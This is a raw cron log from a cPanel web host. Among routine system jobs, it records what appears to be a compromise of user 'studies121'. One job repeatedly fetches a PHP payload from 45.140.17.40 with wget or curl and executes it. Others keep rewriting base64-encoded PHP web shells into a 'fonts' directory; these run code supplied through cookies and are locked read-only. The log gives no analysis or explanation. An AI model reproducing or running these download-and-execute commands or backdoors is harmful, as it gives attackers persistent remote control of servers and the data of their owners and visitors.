Sep 20 09:52:01 ip-184-168-122-23 CROND[12708]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 09:52:01 ip-184-168-122-23 CROND[12709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:52:01 ip-184-168-122-23 CROND[12713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:52:01 ip-184-168-122-23 CROND[12714]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:53:01 ip-184-168-122-23 CROND[12960]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:53:01 ip-184-168-122-23 CROND[12962]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:53:01 ip-184-168-122-23 CROND[12963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:53:01 ip-184-168-122-23 CROND[12964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:54:01 ip-184-168-122-23 CROND[13215]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 09:54:01 ip-184-168-122-23 CROND[13214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:54:01 ip-184-168-122-23 CROND[13217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:54:01 ip-184-168-122-23 CROND[13216]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:54:01 ip-184-168-122-23 CROND[13218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:55:01 ip-184-168-122-23 CROND[13454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:55:01 ip-184-168-122-23 CROND[13461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:55:01 ip-184-168-122-23 CROND[13462]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:55:01 ip-184-168-122-23 CROND[13457]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 09:55:01 ip-184-168-122-23 CROND[13458]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 09:55:01 ip-184-168-122-23 CROND[13459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:56:01 ip-184-168-122-23 CROND[13717]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:56:01 ip-184-168-122-23 CROND[13721]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 09:56:01 ip-184-168-122-23 CROND[13720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:56:01 ip-184-168-122-23 CROND[13722]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:56:01 ip-184-168-122-23 CROND[13719]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:57:01 ip-184-168-122-23 CROND[13991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:57:01 ip-184-168-122-23 CROND[13995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:57:01 ip-184-168-122-23 CROND[13993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:57:01 ip-184-168-122-23 CROND[13996]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:58:01 ip-184-168-122-23 CROND[14322]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 09:58:01 ip-184-168-122-23 CROND[14324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:58:01 ip-184-168-122-23 CROND[14325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:58:01 ip-184-168-122-23 CROND[14327]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:58:01 ip-184-168-122-23 CROND[14328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:59:01 ip-184-168-122-23 CROND[14552]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:59:01 ip-184-168-122-23 CROND[14554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:59:01 ip-184-168-122-23 CROND[14556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:59:01 ip-184-168-122-23 CROND[14555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:00:02 ip-184-168-122-23 CROND[14824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:00:02 ip-184-168-122-23 CROND[14828]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:00:02 ip-184-168-122-23 CROND[14832]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 20 10:00:02 ip-184-168-122-23 CROND[14830]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 10:00:02 ip-184-168-122-23 CROND[14834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:00:02 ip-184-168-122-23 CROND[14831]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 10:00:02 ip-184-168-122-23 CROND[14833]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 10:00:02 ip-184-168-122-23 CROND[14835]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 10:00:02 ip-184-168-122-23 CROND[14837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:01:01 ip-184-168-122-23 CROND[15081]: (root) CMD (run-parts /etc/cron.hourly)
Sep 20 10:01:01 ip-184-168-122-23 CROND[15083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:01:01 ip-184-168-122-23 CROND[15082]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:01:01 ip-184-168-122-23 CROND[15085]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:01:01 ip-184-168-122-23 CROND[15084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:01:01 ip-184-168-122-23 CROND[15086]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 10:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[15081]: starting 0anacron
Sep 20 10:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[15104]: finished 0anacron
Sep 20 10:02:01 ip-184-168-122-23 CROND[15405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:02:01 ip-184-168-122-23 CROND[15407]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 10:02:01 ip-184-168-122-23 CROND[15408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:02:01 ip-184-168-122-23 CROND[15412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:02:01 ip-184-168-122-23 CROND[15413]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:03:01 ip-184-168-122-23 CROND[15683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:03:01 ip-184-168-122-23 CROND[15682]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:03:01 ip-184-168-122-23 CROND[15684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:03:01 ip-184-168-122-23 CROND[15685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:04:01 ip-184-168-122-23 CROND[15940]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 10:04:01 ip-184-168-122-23 CROND[15941]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:04:01 ip-184-168-122-23 CROND[15943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
